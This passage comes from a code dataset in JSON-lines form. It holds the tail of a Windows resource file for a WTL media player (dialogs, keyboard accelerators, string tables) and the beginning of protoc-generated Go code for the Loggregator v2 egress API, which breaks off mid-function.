\"Static\",IDC_BITDEPTH,100,85,105,8\nEND\n\nIDD_SEEK DIALOGEX 0, 0, 664, 55\nSTYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU\nCAPTION \"Seek\"\nFONT 8, \"MS Shell Dlg\", 400, 0, 0x1\nBEGIN\n CONTROL \"\",IDC_SEEKSLIDER,\"msctls_trackbar32\",TBS_BOTH | TBS_NOTICKS | WS_TABSTOP,7,27,650,21\n LTEXT \"Location:\",IDC_STATIC,15,14,30,8\n LTEXT \"Static\",IDC_SEEKLOCATION,50,15,170,8\nEND\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// DESIGNINFO\n//\n\n#ifdef APSTUDIO_INVOKED\nGUIDELINES DESIGNINFO\nBEGIN\n IDD_ABOUTBOX, DIALOG\n BEGIN\n LEFTMARGIN, 7\n RIGHTMARGIN, 178\n TOPMARGIN, 7\n BOTTOMMARGIN, 119\n END\n\n IDD_PROP_PAGE1, DIALOG\n BEGIN\n LEFTMARGIN, 5\n RIGHTMARGIN, 205\n TOPMARGIN, 7\n BOTTOMMARGIN, 107\n END\n\n IDD_PROP_PAGE2, DIALOG\n BEGIN\n LEFTMARGIN, 7\n RIGHTMARGIN, 205\n TOPMARGIN, 7\n BOTTOMMARGIN, 107\n END\n\n IDD_PROP_PAGE3, DIALOG\n BEGIN\n LEFTMARGIN, 7\n RIGHTMARGIN, 205\n TOPMARGIN, 7\n BOTTOMMARGIN, 107\n END\n\n IDD_SEEK, DIALOG\n BEGIN\n LEFTMARGIN, 7\n RIGHTMARGIN, 657\n TOPMARGIN, 7\n BOTTOMMARGIN, 48\n END\nEND\n#endif // APSTUDIO_INVOKED\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Accelerator\n//\n\nIDR_MAINFRAME2 ACCELERATORS\nBEGIN\n VK_F4, ID_EDIT_CLEAR, VIRTKEY, CONTROL, NOINVERT\n \"C\", ID_EDIT_COPY, VIRTKEY, CONTROL, NOINVERT\n VK_INSERT, ID_EDIT_COPY, VIRTKEY, CONTROL, NOINVERT\n \"V\", ID_EDIT_PASTE, VIRTKEY, CONTROL, NOINVERT\n VK_INSERT, ID_EDIT_PASTE, VIRTKEY, SHIFT, NOINVERT\n \"L\", ID_FILE_LAST, VIRTKEY, CONTROL, NOINVERT\n \"O\", ID_FILE_OPEN, VIRTKEY, CONTROL, NOINVERT\n \"P\", ID_FILE_PRINT, VIRTKEY, CONTROL, NOINVERT\n \"2\", ID_PLAY_DOUBLESPEED, VIRTKEY, ALT, NOINVERT\n \"5\", ID_PLAY_EIGHTSPEED, VIRTKEY, ALT, NOINVERT\n \"G\", ID_PLAY_GOTO_FRAME, VIRTKEY, CONTROL, NOINVERT\n \"0\", ID_PLAY_HALFSPEED, VIRTKEY, ALT, NOINVERT\n \"1\", ID_PLAY_NORMALSPEED, VIRTKEY, ALT, NOINVERT\n \" \", ID_PLAY_PLAY_PAUSE, ASCII, NOINVERT\n \"4\", ID_PLAY_QUADRUPLESPEED, VIRTKEY, ALT, NOINVERT\n \"6\", ID_PLAY_SIXTEENSPEED, VIRTKEY, ALT, NOINVERT\n VK_LEFT, ID_PLAY_STEP_BACKWARD, VIRTKEY, NOINVERT\n VK_RIGHT, ID_PLAY_STEP_FORWARD, VIRTKEY, NOINVERT\n \"3\", ID_PLAY_TRIPLESPEED, VIRTKEY, ALT, NOINVERT\n \"2\", ID_VIEW_DOUBLESIZE, VIRTKEY, CONTROL, NOINVERT\n \"F\", ID_VIEW_FILTER, VIRTKEY, CONTROL, NOINVERT\n \"0\", ID_VIEW_HALFSIZE, VIRTKEY, CONTROL, NOINVERT\n \"1\", ID_VIEW_NORMALSIZE, VIRTKEY, CONTROL, NOINVERT\n \"4\", ID_VIEW_QUADRUPLESIZE, VIRTKEY, CONTROL, NOINVERT\n \"9\", ID_VIEW_QUARTERSIZE, VIRTKEY, CONTROL, NOINVERT\n \"3\", ID_VIEW_TRIPLESIZE, VIRTKEY, CONTROL, NOINVERT\n VK_HOME, ID_PLAY_GOTO_START, VIRTKEY, NOINVERT\n VK_END, ID_PLAY_GOTO_END, VIRTKEY, NOINVERT\nEND\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// Version\n//\n\nVS_VERSION_INFO VERSIONINFO\n FILEVERSION 1,0,0,1\n PRODUCTVERSION 1,0,0,1\n FILEFLAGSMASK 0x3fL\n#ifdef _DEBUG\n FILEFLAGS 0x1L\n#else\n FILEFLAGS 0x0L\n#endif\n FILEOS 0x4L\n FILETYPE 0x2L\n FILESUBTYPE 0x0L\nBEGIN\n BLOCK \"StringFileInfo\"\n BEGIN\n BLOCK \"040904b0\"\n BEGIN\n VALUE \"Comments\", \"Written by Frank Barchard\"\n VALUE \"FileDescription\", \"media_player\"\n VALUE \"FileVersion\", \"1, 0, 0, 1\"\n VALUE \"InternalName\", \"media_player_wtl\"\n VALUE \"LegalCopyright\", \"Copyright 2009\"\n VALUE \"OriginalFilename\", \"media_player_wtl.exe\"\n VALUE \"ProductName\", \"media_player\"\n VALUE \"ProductVersion\", \"1, 0, 0, 1\"\n END\n END\n BLOCK \"VarFileInfo\"\n BEGIN\n VALUE \"Translation\", 0x409, 1200\n END\nEND\n\n\n/////////////////////////////////////////////////////////////////////////////\n//\n// String Table\n//\n\nSTRINGTABLE\nBEGIN\n IDR_MAINFRAME \"Media Player\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_FILE_NEW \"Create a new document\\nNew\"\n ID_FILE_OPEN \"Open a movie\\nOpen\"\n ID_FILE_CLOSE \"Close movie\\nClose\"\n ID_FILE_SAVE \"Save the movie\\nSave\"\n ID_FILE_SAVE_AS \"Save the movie with a new name\\nSave As\"\n ID_FILE_PAGE_SETUP \"Change the printing options\\nPage Setup\"\n ID_FILE_PRINT_SETUP \"Change the printer and printing options\\nPrint Setup\"\n ID_FILE_PRINT \"Print the movie\\nPrint\"\n ID_FILE_PRINT_PREVIEW \"Display full pages\\nPrint Preview\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_VIEW_HALFSIZE \"View movie at half normal size.\"\n ID_VIEW_NORMALSIZE \"View movie at normal size.\"\n ID_VIEW_DOUBLESIZE \"View movie at twice the normal size.\"\n ID_VIEW_TRIPLESIZE \"View movie at triple the normal size.\"\n ID_VIEW_QUADRUPLESIZE \"View movie at quadruple the normal size.\"\n ID_VIEW_FITTOSCREEN \"Maximize window to desktop.\"\n ID_VIEW_FULLSCREEN \"Full screen mode.\"\n ID_PLAY_HALFSPEED \"Play movie at half normal speed.\"\n ID_PLAY_NORMALSPEED \"Play movie at normal speed.\"\n ID_PLAY_DOUBLESPEED \"Play movie at twice the normal speed.\"\n ID_PLAY_TRIPLESPEED \"Play movie at triple the normal speed.\"\n ID_PLAY_QUADRUPLESPEED \"Play movie at quadruple the normal speed.\"\n ID_PLAY_EIGHTSPEED \"Play movie at eight times the normal speed.\"\n ID_PLAY_SIXTEENSPEED \"Play movie at sixteen times the normal speed.\"\n ID_PLAY_STEP_FORWARD \"Step forward one frame.\"\n ID_PLAY_STEP_BACKWARD \"Step backward one frame.\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_FILE_LAST \"Replay last movie\\nOpen\"\n ID_VIEW_ROTATE0 \"Turn off rotation.\"\n ID_VIEW_ROTATE90 \"Rotate movie by 90 degrees clockwise.\"\n ID_VIEW_ROTATE180 \"Rotate movie by 180 degrees.\"\n ID_VIEW_ROTATE270 \"Rotate movie by 270 degrees clockwise.\"\n ID_VIEW_FILTER \"Turn on bilinear filtering.\"\n ID_VIEW_MIRROR_HORIZONTAL \"Mirror movie horizontally.\"\n ID_VIEW_MIRROR_VERTICAL \"Mirror movie vertically.\"\n ID_VIEW_QUARTERSIZE \"View movie at quarter normal size.\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_RECENT_BTN \"\\nRecent Files\"\n ID_VIEW_PROPERTIES \"Displays movie properties\\nProperties\"\n ID_PLAY_PLAY_PAUSE \"Start or pause movie playback\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_VIEW_TOOLBAR \"Show or hide the toolbar\\nToggle ToolBar\"\n ID_VIEW_STATUS_BAR \"Show or hide the status bar\\nToggle StatusBar\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_APP_ABOUT \"Display program information, version number and copyright\\nAbout\"\n ID_APP_EXIT \"Quit the application; prompts to save documents\\nExit\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_NEXT_PANE \"Switch to the next window pane\\nNext Pane\"\n ID_PREV_PANE \"Switch back to the previous window pane\\nPrevious Pane\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_WINDOW_NEW \"Open another window for the movie\\nNew Window\"\n ID_WINDOW_ARRANGE \"Arrange icons at the bottom of the window\\nArrange Icons\"\n ID_WINDOW_CASCADE \"Arrange windows so they overlap\\nCascade Windows\"\n ID_WINDOW_TILE_HORZ \"Arrange windows as non-overlapping tiles\\nTile Windows\"\n ID_WINDOW_TILE_VERT \"Arrange windows as non-overlapping tiles\\nTile Windows\"\n ID_WINDOW_SPLIT \"Split the active window into panes\\nSplit\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_EDIT_CLEAR \"Removes the movie\\nClear\"\n ID_EDIT_CLEAR_ALL \"Erase everything\\nErase All\"\n ID_EDIT_COPY \"Copy the movie and put it on the Clipboard\\nCopy\"\n ID_EDIT_CUT \"Cut the selection and put it on the Clipboard\\nCut\"\n ID_EDIT_FIND \"Find the specified text\\nFind\"\n ID_EDIT_PASTE \"Insert movie from the Clipboard\\nPaste\"\n ID_EDIT_REPEAT \"Repeat the last action\\nRepeat\"\n ID_EDIT_REPLACE \"Replace specific text with different text\\nReplace\"\n ID_EDIT_SELECT_ALL \"Select the entire document\\nSelect All\"\n ID_EDIT_UNDO \"Undo the last action\\nUndo\"\n ID_EDIT_REDO \"Redo the previously undone action\\nRedo\"\nEND\n\nSTRINGTABLE\nBEGIN\n ATL_IDS_SCSIZE \"Change the window size\"\n ATL_IDS_SCMOVE \"Change the window position\"\n ATL_IDS_SCMINIMIZE \"Reduce the window to an icon\"\n ATL_IDS_SCMAXIMIZE \"Enlarge the window to full size\"\n ATL_IDS_SCNEXTWINDOW \"Switch to the next document window\"\n ATL_IDS_SCPREVWINDOW \"Switch to the previous document window\"\n ATL_IDS_SCCLOSE \"Close the active window and prompts to save the documents\"\nEND\n\nSTRINGTABLE\nBEGIN\n ATL_IDS_SCRESTORE \"Restore the window to normal size\"\n ATL_IDS_SCTASKLIST \"Activate Task List\"\n ATL_IDS_MDICHILD \"Activate this window\"\nEND\n\nSTRINGTABLE\nBEGIN\n ATL_IDS_IDLEMESSAGE \"Ready\"\nEND\n\nSTRINGTABLE\nBEGIN\n ATL_IDS_MRU_FILE \"Open this document\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_PLAY_GOTO_FRAME \"Goto a specified frame in the movie.\"\n ID_PLAY_GOTO_START \"Goto to start of movie.\"\n ID_PLAY_GOTO_END \"Goto end of movie minus 30 seconds.\"\n ID_OPTIONS_EXIT \"Exit player at end of movie.\"\nEND\n\nSTRINGTABLE\nBEGIN\n ID_OPTIONS_DRAW \"Enable/Disable Draws\"\n ID_OPTIONS_AUDIO \"Enable/Disable Audio\"\n ID_OPTIONS_DUMPYUVFILE \"Dump YUV frames to a file\"\nEND\n\n#endif // English (U.S.) resources\n/////////////////////////////////////////////////////////////////////////////\n\n\n"} +{"text": "// Code generated by protoc-gen-go. DO NOT EDIT.\n// source: egress.proto\n\npackage loggregator_v2\n\nimport proto \"github.com/golang/protobuf/proto\"\nimport fmt \"fmt\"\nimport math \"math\"\n\nimport (\n\tcontext \"golang.org/x/net/context\"\n\tgrpc \"google.golang.org/grpc\"\n)\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package\n\ntype EgressRequest struct {\n\t// shard_id instructs Loggregator to shard envelopes between other\n\t// subscriptions with the same shard_id. Loggregator will do its best to\n\t// split the load evenly between subscriptions with the same shard_id\n\t// (unless deterministic_name is set).\n\tShardId string `protobuf:\"bytes,1,opt,name=shard_id,json=shardId,proto3\" json:\"shard_id,omitempty\"`\n\t// deterministic_name is used to enable deterministic routing. This implies\n\t// that gauges and counters are routed based on name. If this is excluded,\n\t// then they are routed to split load evenly.\n\tDeterministicName string `protobuf:\"bytes,5,opt,name=deterministic_name,json=deterministicName,proto3\" json:\"deterministic_name,omitempty\"`\n\t// TODO: This can be removed once selector has been around long enough.\n\tLegacySelector *Selector `protobuf:\"bytes,2,opt,name=legacy_selector,json=legacySelector,proto3\" json:\"legacy_selector,omitempty\"`\n\t// selector is the preferred (over legacy_selector) mechanism to select\n\t// what envelope types the subscription wants. If there are no selectors\n\t// given, no data will be sent.\n\tSelectors []*Selector `protobuf:\"bytes,4,rep,name=selectors,proto3\" json:\"selectors,omitempty\"`\n\t// TODO: This can be removed once the envelope.deprecated_tags is removed.\n\tUsePreferredTags bool `protobuf:\"varint,3,opt,name=use_preferred_tags,json=usePreferredTags,proto3\" json:\"use_preferred_tags,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *EgressRequest) Reset() { *m = EgressRequest{} }\nfunc (m *EgressRequest) String() string { return proto.CompactTextString(m) }\nfunc (*EgressRequest) ProtoMessage() {}\nfunc (*EgressRequest) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{0}\n}\nfunc (m *EgressRequest) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_EgressRequest.Unmarshal(m, b)\n}\nfunc (m *EgressRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_EgressRequest.Marshal(b, m, deterministic)\n}\nfunc (dst *EgressRequest) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_EgressRequest.Merge(dst, src)\n}\nfunc (m *EgressRequest) XXX_Size() int {\n\treturn xxx_messageInfo_EgressRequest.Size(m)\n}\nfunc (m *EgressRequest) XXX_DiscardUnknown() {\n\txxx_messageInfo_EgressRequest.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_EgressRequest proto.InternalMessageInfo\n\nfunc (m *EgressRequest) GetShardId() string {\n\tif m != nil {\n\t\treturn m.ShardId\n\t}\n\treturn \"\"\n}\n\nfunc (m *EgressRequest) GetDeterministicName() string {\n\tif m != nil {\n\t\treturn m.DeterministicName\n\t}\n\treturn \"\"\n}\n\nfunc (m *EgressRequest) GetLegacySelector() *Selector {\n\tif m != nil {\n\t\treturn m.LegacySelector\n\t}\n\treturn nil\n}\n\nfunc (m *EgressRequest) GetSelectors() []*Selector {\n\tif m != nil {\n\t\treturn m.Selectors\n\t}\n\treturn nil\n}\n\nfunc (m *EgressRequest) GetUsePreferredTags() bool {\n\tif m != nil {\n\t\treturn m.UsePreferredTags\n\t}\n\treturn false\n}\n\ntype EgressBatchRequest struct {\n\t// shard_id instructs Loggregator to shard envelopes between other\n\t// subscriptions with the same shard_id. Loggregator will do its best to\n\t// split the load evenly between subscriptions with the same shard_id\n\t// (unless deterministic_name is set).\n\tShardId string `protobuf:\"bytes,1,opt,name=shard_id,json=shardId,proto3\" json:\"shard_id,omitempty\"`\n\t// deterministic_name is used to enable deterministic routing. This implies\n\t// that gauges and counters are routed based on name. If this is excluded,\n\t// then they are routed to split load evenly.\n\tDeterministicName string `protobuf:\"bytes,5,opt,name=deterministic_name,json=deterministicName,proto3\" json:\"deterministic_name,omitempty\"`\n\t// TODO: This can be removed once selector has been around long enough.\n\tLegacySelector *Selector `protobuf:\"bytes,2,opt,name=legacy_selector,json=legacySelector,proto3\" json:\"legacy_selector,omitempty\"`\n\t// selector is the preferred (over legacy_selector) mechanism to select\n\t// what envelope types the subscription wants. If there are no selectors\n\t// given, no data will be sent.\n\tSelectors []*Selector `protobuf:\"bytes,4,rep,name=selectors,proto3\" json:\"selectors,omitempty\"`\n\t// TODO: This can be removed once the envelope.deprecated_tags is removed.\n\tUsePreferredTags bool `protobuf:\"varint,3,opt,name=use_preferred_tags,json=usePreferredTags,proto3\" json:\"use_preferred_tags,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *EgressBatchRequest) Reset() { *m = EgressBatchRequest{} }\nfunc (m *EgressBatchRequest) String() string { return proto.CompactTextString(m) }\nfunc (*EgressBatchRequest) ProtoMessage() {}\nfunc (*EgressBatchRequest) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{1}\n}\nfunc (m *EgressBatchRequest) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_EgressBatchRequest.Unmarshal(m, b)\n}\nfunc (m *EgressBatchRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_EgressBatchRequest.Marshal(b, m, deterministic)\n}\nfunc (dst *EgressBatchRequest) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_EgressBatchRequest.Merge(dst, src)\n}\nfunc (m *EgressBatchRequest) XXX_Size() int {\n\treturn xxx_messageInfo_EgressBatchRequest.Size(m)\n}\nfunc (m *EgressBatchRequest) XXX_DiscardUnknown() {\n\txxx_messageInfo_EgressBatchRequest.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_EgressBatchRequest proto.InternalMessageInfo\n\nfunc (m *EgressBatchRequest) GetShardId() string {\n\tif m != nil {\n\t\treturn m.ShardId\n\t}\n\treturn \"\"\n}\n\nfunc (m *EgressBatchRequest) GetDeterministicName() string {\n\tif m != nil {\n\t\treturn m.DeterministicName\n\t}\n\treturn \"\"\n}\n\nfunc (m *EgressBatchRequest) GetLegacySelector() *Selector {\n\tif m != nil {\n\t\treturn m.LegacySelector\n\t}\n\treturn nil\n}\n\nfunc (m *EgressBatchRequest) GetSelectors() []*Selector {\n\tif m != nil {\n\t\treturn m.Selectors\n\t}\n\treturn nil\n}\n\nfunc (m *EgressBatchRequest) GetUsePreferredTags() bool {\n\tif m != nil {\n\t\treturn m.UsePreferredTags\n\t}\n\treturn false\n}\n\n// Selector instructs Loggregator to only send envelopes that match the given\n// criteria.\ntype Selector struct {\n\tSourceId string `protobuf:\"bytes,1,opt,name=source_id,json=sourceId,proto3\" json:\"source_id,omitempty\"`\n\t// Types that are valid to be assigned to Message:\n\t//\t*Selector_Log\n\t//\t*Selector_Counter\n\t//\t*Selector_Gauge\n\t//\t*Selector_Timer\n\t//\t*Selector_Event\n\tMessage isSelector_Message `protobuf_oneof:\"Message\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Selector) Reset() { *m = Selector{} }\nfunc (m *Selector) String() string { return proto.CompactTextString(m) }\nfunc (*Selector) ProtoMessage() {}\nfunc (*Selector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{2}\n}\nfunc (m *Selector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Selector.Unmarshal(m, b)\n}\nfunc (m *Selector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Selector.Marshal(b, m, deterministic)\n}\nfunc (dst *Selector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Selector.Merge(dst, src)\n}\nfunc (m *Selector) XXX_Size() int {\n\treturn xxx_messageInfo_Selector.Size(m)\n}\nfunc (m *Selector) XXX_DiscardUnknown() {\n\txxx_messageInfo_Selector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Selector proto.InternalMessageInfo\n\nfunc (m *Selector) GetSourceId() string {\n\tif m != nil {\n\t\treturn m.SourceId\n\t}\n\treturn \"\"\n}\n\ntype isSelector_Message interface {\n\tisSelector_Message()\n}\n\ntype Selector_Log struct {\n\tLog *LogSelector `protobuf:\"bytes,2,opt,name=log,proto3,oneof\"`\n}\n\ntype Selector_Counter struct {\n\tCounter *CounterSelector `protobuf:\"bytes,3,opt,name=counter,proto3,oneof\"`\n}\n\ntype Selector_Gauge struct {\n\tGauge *GaugeSelector `protobuf:\"bytes,4,opt,name=gauge,proto3,oneof\"`\n}\n\ntype Selector_Timer struct {\n\tTimer *TimerSelector `protobuf:\"bytes,5,opt,name=timer,proto3,oneof\"`\n}\n\ntype Selector_Event struct {\n\tEvent *EventSelector `protobuf:\"bytes,6,opt,name=event,proto3,oneof\"`\n}\n\nfunc (*Selector_Log) isSelector_Message() {}\n\nfunc (*Selector_Counter) isSelector_Message() {}\n\nfunc (*Selector_Gauge) isSelector_Message() {}\n\nfunc (*Selector_Timer) isSelector_Message() {}\n\nfunc (*Selector_Event) isSelector_Message() {}\n\nfunc (m *Selector) GetMessage() isSelector_Message {\n\tif m != nil {\n\t\treturn m.Message\n\t}\n\treturn nil\n}\n\nfunc (m *Selector) GetLog() *LogSelector {\n\tif x, ok := m.GetMessage().(*Selector_Log); ok {\n\t\treturn x.Log\n\t}\n\treturn nil\n}\n\nfunc (m *Selector) GetCounter() *CounterSelector {\n\tif x, ok := m.GetMessage().(*Selector_Counter); ok {\n\t\treturn x.Counter\n\t}\n\treturn nil\n}\n\nfunc (m *Selector) GetGauge() *GaugeSelector {\n\tif x, ok := m.GetMessage().(*Selector_Gauge); ok {\n\t\treturn x.Gauge\n\t}\n\treturn nil\n}\n\nfunc (m *Selector) GetTimer() *TimerSelector {\n\tif x, ok := m.GetMessage().(*Selector_Timer); ok {\n\t\treturn x.Timer\n\t}\n\treturn nil\n}\n\nfunc (m *Selector) GetEvent() *EventSelector {\n\tif x, ok := m.GetMessage().(*Selector_Event); ok {\n\t\treturn x.Event\n\t}\n\treturn nil\n}\n\n// XXX_OneofFuncs is for the internal use of the proto package.\nfunc (*Selector) XXX_OneofFuncs() (func(msg proto.Message, b *proto.Buffer) error, func(msg proto.Message, tag, wire int, b *proto.Buffer) (bool, error), func(msg proto.Message) (n int), []interface{}) {\n\treturn _Selector_OneofMarshaler, _Selector_OneofUnmarshaler, _Selector_OneofSizer, []interface{}{\n\t\t(*Selector_Log)(nil),\n\t\t(*Selector_Counter)(nil),\n\t\t(*Selector_Gauge)(nil),\n\t\t(*Selector_Timer)(nil),\n\t\t(*Selector_Event)(nil),\n\t}\n}\n\nfunc _Selector_OneofMarshaler(msg proto.Message, b *proto.Buffer) error {\n\tm := msg.(*Selector)\n\t// Message\n\tswitch x := m.Message.(type) {\n\tcase *Selector_Log:\n\t\tb.EncodeVarint(2<<3 | proto.WireBytes)\n\t\tif err := b.EncodeMessage(x.Log); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase *Selector_Counter:\n\t\tb.EncodeVarint(3<<3 | proto.WireBytes)\n\t\tif err := b.EncodeMessage(x.Counter); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase *Selector_Gauge:\n\t\tb.EncodeVarint(4<<3 | proto.WireBytes)\n\t\tif err := b.EncodeMessage(x.Gauge); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase *Selector_Timer:\n\t\tb.EncodeVarint(5<<3 | proto.WireBytes)\n\t\tif err := b.EncodeMessage(x.Timer); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase *Selector_Event:\n\t\tb.EncodeVarint(6<<3 | proto.WireBytes)\n\t\tif err := b.EncodeMessage(x.Event); err != nil {\n\t\t\treturn err\n\t\t}\n\tcase nil:\n\tdefault:\n\t\treturn fmt.Errorf(\"Selector.Message has unexpected type %T\", x)\n\t}\n\treturn nil\n}\n\nfunc _Selector_OneofUnmarshaler(msg proto.Message, tag, wire int, b *proto.Buffer) (bool, error) {\n\tm := msg.(*Selector)\n\tswitch tag {\n\tcase 2: // Message.log\n\t\tif wire != proto.WireBytes {\n\t\t\treturn true, proto.ErrInternalBadWireType\n\t\t}\n\t\tmsg := new(LogSelector)\n\t\terr := b.DecodeMessage(msg)\n\t\tm.Message = &Selector_Log{msg}\n\t\treturn true, err\n\tcase 3: // Message.counter\n\t\tif wire != proto.WireBytes {\n\t\t\treturn true, proto.ErrInternalBadWireType\n\t\t}\n\t\tmsg := new(CounterSelector)\n\t\terr := b.DecodeMessage(msg)\n\t\tm.Message = &Selector_Counter{msg}\n\t\treturn true, err\n\tcase 4: // Message.gauge\n\t\tif wire != proto.WireBytes {\n\t\t\treturn true, proto.ErrInternalBadWireType\n\t\t}\n\t\tmsg := new(GaugeSelector)\n\t\terr := b.DecodeMessage(msg)\n\t\tm.Message = &Selector_Gauge{msg}\n\t\treturn true, err\n\tcase 5: // Message.timer\n\t\tif wire != proto.WireBytes {\n\t\t\treturn true, proto.ErrInternalBadWireType\n\t\t}\n\t\tmsg := new(TimerSelector)\n\t\terr := b.DecodeMessage(msg)\n\t\tm.Message = &Selector_Timer{msg}\n\t\treturn true, err\n\tcase 6: // Message.event\n\t\tif wire != proto.WireBytes {\n\t\t\treturn true, proto.ErrInternalBadWireType\n\t\t}\n\t\tmsg := new(EventSelector)\n\t\terr := b.DecodeMessage(msg)\n\t\tm.Message = &Selector_Event{msg}\n\t\treturn true, err\n\tdefault:\n\t\treturn false, nil\n\t}\n}\n\nfunc _Selector_OneofSizer(msg proto.Message) (n int) {\n\tm := msg.(*Selector)\n\t// Message\n\tswitch x := m.Message.(type) {\n\tcase *Selector_Log:\n\t\ts := proto.Size(x.Log)\n\t\tn += 1 // tag and wire\n\t\tn += proto.SizeVarint(uint64(s))\n\t\tn += s\n\tcase *Selector_Counter:\n\t\ts := proto.Size(x.Counter)\n\t\tn += 1 // tag and wire\n\t\tn += proto.SizeVarint(uint64(s))\n\t\tn += s\n\tcase *Selector_Gauge:\n\t\ts := proto.Size(x.Gauge)\n\t\tn += 1 // tag and wire\n\t\tn += proto.SizeVarint(uint64(s))\n\t\tn += s\n\tcase *Selector_Timer:\n\t\ts := proto.Size(x.Timer)\n\t\tn += 1 // tag and wire\n\t\tn += proto.SizeVarint(uint64(s))\n\t\tn += s\n\tcase *Selector_Event:\n\t\ts := proto.Size(x.Event)\n\t\tn += 1 // tag and wire\n\t\tn += proto.SizeVarint(uint64(s))\n\t\tn += s\n\tcase nil:\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"proto: unexpected type %T in oneof\", x))\n\t}\n\treturn n\n}\n\n// LogSelector instructs Loggregator to egress Log envelopes to the given\n// subscription.\ntype LogSelector struct {\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *LogSelector) Reset() { *m = LogSelector{} }\nfunc (m *LogSelector) String() string { return proto.CompactTextString(m) }\nfunc (*LogSelector) ProtoMessage() {}\nfunc (*LogSelector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{3}\n}\nfunc (m *LogSelector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_LogSelector.Unmarshal(m, b)\n}\nfunc (m *LogSelector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_LogSelector.Marshal(b, m, deterministic)\n}\nfunc (dst *LogSelector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_LogSelector.Merge(dst, src)\n}\nfunc (m *LogSelector) XXX_Size() int {\n\treturn xxx_messageInfo_LogSelector.Size(m)\n}\nfunc (m *LogSelector) XXX_DiscardUnknown() {\n\txxx_messageInfo_LogSelector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_LogSelector proto.InternalMessageInfo\n\n// GaugeSelector instructs Loggregator to egress Gauge envelopes to the\n// given subscription.\ntype GaugeSelector struct {\n\t// Any egress Gauge envelope must consist of the given names.\n\tNames []string `protobuf:\"bytes,1,rep,name=names,proto3\" json:\"names,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *GaugeSelector) Reset() { *m = GaugeSelector{} }\nfunc (m *GaugeSelector) String() string { return proto.CompactTextString(m) }\nfunc (*GaugeSelector) ProtoMessage() {}\nfunc (*GaugeSelector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_egress_fcae6bb65dce0d2e, []int{4}\n}\nfunc (m *GaugeSelector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_GaugeSelector.Unmarshal(m, b)\n}\nfunc (m *GaugeSelector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_GaugeSelector.Marshal(b, m, deterministic)\n}\nfunc (dst *GaugeSelector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_GaugeSelector.Merge(dst, src)\n}\nfunc (m *GaugeSelector) XXX_Size() int {\n\treturn xxx_messageInfo_GaugeSelector.Size(m)\n}\nfunc (m *GaugeSelector) XXX_DiscardUnknown() {\n\txxx_messageInfo_GaugeSelector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_GaugeSelector proto.InternalMessageInfo\n\nfunc (m *GaugeSelector) GetNames() []string {\n\tif m != nil {\n\t\treturn 